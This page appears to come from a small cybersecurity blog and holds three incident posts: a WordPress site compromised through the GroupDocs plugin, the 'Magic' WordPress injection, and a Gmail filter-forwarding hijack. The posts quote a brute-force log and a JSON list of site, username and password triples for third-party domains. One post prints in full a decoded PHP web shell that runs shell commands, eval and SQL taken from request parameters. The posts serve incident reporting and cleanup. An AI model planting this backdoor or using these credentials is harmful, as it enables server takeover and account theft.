Elamb Cybersecurity

Tag: blog

  • WordPress hack plugin GroupDocs

    One of my wordpress blogs got hacked.  I was notified by google

    I was apprehensive about accessing the site from my computer so i checked it out from my smartphone.  I figured most current malware attempts to download and install on windows systems, but are usually not smart enough to infect two different platforms (windows AND android).  The site seemed fine, but I am sure there is something wrong.  So I logged into the server.  The dates look a little suspcious but I the actual php files looked find.

    I noticed a pattern with the dates that the files were access.  I am seeing scores of files/folders that have been “touched” and have the same date/time stamp Nov 22, 2015 12:00.  You only see that many files changed at once when a script does it.  I focused on those files and I can see that MOST of the Nov 22 1200 date/time stamps are on ONE plugin:   plugin GroupDocs.  I look at the error log:

    INFO Started brute forcing.

INFO checking: drinkmusiccity.com, david, david
INFO checking: farmofpeace.com, salima, salima
INFO checking: fayjames.com, fay, fay
INFO checking: fantasyassembly.com, kevin-j, kevin-j
INFO checking: fionaraven.com, fiona, fiona
INFO checking: fishinglakes.com, Colby, Colby
INFO checking: firetown.com, firetown, firetown
INFO checking: fontainetours.com, claudia, claudia
INFO checking: foreverboundadoption.org, designteam, designteam
INFO checking: fotoparisberlin.com, amelie, amelie
INFO checking: frabonisdeli.com, bennett-fraboni, bennett-fraboni
INFO checking: freeloveforum.com, anne, anne
INFO checking: funkatech.com, incyte, incyte
INFO checking: futurist.com, brenda-cooper, brenda-cooper
INFO checking: futebolnas4linhas.com, ingrid-carvalho, ingrid-carvalho
INFO checking: freedomnewton.com, pastorc, pastorc
INFO checking: k-bell.co.jp, kohei, kohei
INFO checking: katrinakaif.co.uk, harish, harish
INFO checking: kcfw.de, c-mohr, c-mohr
INFO checking: kazu.co.nz, staff, staff
INFO checking: keneally.com, samcniotktaetl, samcniotktaetl
INFO checking: keratoconus.com.au, jim, jim
INFO checking: fundacjadantian.com, fundacjadantian, fundacjadantian
INFO checking: kibi-group.com, kibi, kibi

    I look up the plugin GroupDocs.  I has had a MAJOR compromise:

    https://wordpress.org/support/topic/beaware-this-plugin-attracts-hackers

    It is being used as a backdoor into WordPress.  Honestly, I don’t remember even installing it.  I am not sure if it came with the theme I installed or what.  I start checking all more other blog’s plugins.  I don’t see it any where else.  Upon further inspection of the plugin, I can clearly see the PHP backdoor code:

    sending: {
  "type" : "WPBF_RESPONSE",
  "linkPasses" : [
    {
      "site" : "farmofpeace.com",
      "user" : "salima",
      "pass" : "salima"
    },

    {
      "site" : "i-entertainment.co.uk",
      "user" : "nicolai2014",
      "pass" : "nicolai2014"
    },

    {
      "site" : "020haopai.com",
      "user" : "siteadmin",
      "pass" : "siteadmin"
    },

    {
      "site" : "zargarcarpet.com",
      "user" : "akeel",
      "pass" : "akeel"
    },

    {
      "site" : "haubstadtsommerfest.com",
      "user" : "joeyconti",
      "pass" : "joeyconti"
    }
  ]
}

Starting brute forcing WordPress
CURRENT TIME: 2015-11-20 15:47:06
CURRENT TIME: 2015-11-20 15:47:37
CURRENT TIME: 2015-11-20 15:48:08
CURRENT TIME: 2015-11-20 15:48:39
Child dead. Reading response: 
Done. read: 0 bytes


The Fix Action:

  • Server at Magic Requires Username Password

    The WordPress “Magic” hack!

    If your getting this message: “The server (our server domain, e.g. DOMAIN.COM) at Magic” Then you likely have infected code in your wordpress blog.

    Wordpress Magic Attack
    Wordpress Magic Attack

    WordPress user Yokima reported this very slick hack.

    FIX ACTION:
    And the fix is to update your blog. This will fix the issue. Make sure you change your password if you actually put your information in that “serve at Magic” message box. Although updating the the wordpress blog definitely fixes the issue, you may have to reload your pluggins too because they may also have some infect code. Doing further research on this matter.

    *Similar issues reported by techartist “server BLAH.fuzz.com at Fuzz Access requires a username and password.”

    What the infected code looks like after the malware injection into your blog.. yep.. uuugly!

    From RocketWood:
    We noticed that the code injected into the files was run through an eval and a decode so we decoded the string and found this php code:

    {

    if (!function_exists('______safeshell'))

    {

    function ______safeshell($komut) {

    @ini_restore("safe_mode");

    @ini_restore("open_basedir");

    $disable_functions = array_map('trim', explode(',', ini_get('disable_functions')));

    if (!empty ($komut)) {

    if (function_exists('passthru') && !in_array('passthru', $disable_functions)) {

    //@ ob_start();

    @ passthru($komut);

    //$res = @ ob_get_contents();

    //@ ob_end_clean();

    }

    elseif (function_exists('system') && !in_array('system', $disable_functions)) {

    //@ ob_start();

    @ system($komut);

    //$res = @ ob_get_contents();

    //@ ob_end_clean();

    }

    elseif (function_exists('shell_exec') && !in_array('shell_exec', $disable_functions)) {

    $res = @ shell_exec($komut);

    echo $res;

    }

    elseif (function_exists('exec') && !in_array('exec', $disable_functions)) {

    @ exec($komut, $res);

    $res = join("\n", $res);

    echo $res, "\n";

    }

    elseif (@ is_resource($f = @ popen($komut, "r"))) {

    //$res = "";

    while (!@ feof($f)) {

    //$res .= @ fread($f, 1024);

    echo(@ fread($f, 1024));

    }

    @ pclose($f);

    }

    else

    {

    $res = {$komut};

    echo $res;

    }

    }

    }

    };

    if (isset ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'])) {

    echo "\n";

    if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'eval') {

    eval(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);

    }

    else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'exec') {

    ______safeshell(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);

    }

    else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'query') {

    $result = mysql_query(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd'], $wpdb->dbh);

    if (!$result)

    {

    echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_FAILED: ", mysql_error($wpdb->dbh), "\n";

    die();

    }

    else if (is_resource($result))

    {

    $res = array();

    while ($row = mysql_fetch_assoc($result))

    {

    $res[] = $row;

    };

    mysql_free_result($result);

    echo serialize($res);

    die();

    }

    else

    {

    echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_SUCCEEDED: ", mysql_affected_rows($wbdb->dbh), " rows affected\n";

    die();

    }

    };

    echo "\n\n";

    die();

    };

    };

    p.s: don’t feel too bad, even the security masters get hacked by malicious S.O.B’s.

  • GMail Security Hole Allowed Malicious Hacker to Invade the Life of a Blogger

    Mr. [tag]David Airey[/tag] a blogger and designer from UK had his [tag]site[/tag] Hacked by some useless bastard. This [tag]gmail[/tag] hacker set up a malicious site that exploited a security flaw in gmail to set up an email filter that autoforwarded all David’s emails to another malicious email account. Although Google has appearently fixed the problem, if you have been affected by one of these malicious webpages the filter may still be in your gmail account. David Explains how to find it and get rid of it:

    MPORTANT: If you use GMail, it’s absolutely vital that you check your account settings now.

    Here’s what to do:

    When logged into GMail, click on the ’settings’ tab in the upper right of the screen. Then check both the ‘Filters’ and the ‘Forwarding and POP’ sections.

    Get more information from David Airey.

    Right now David is fighting to get his domain back legally after refusing to be manipulated by the gmail hacker.

    To David,
    Good on you, man! And as bad as it is, I’ve been emailed a couple of people who have lost thousands from hackers. I’ve been on the receiving end of these desperate criminals too… and like you I choose to use my blog like a gun.

    read more | digg story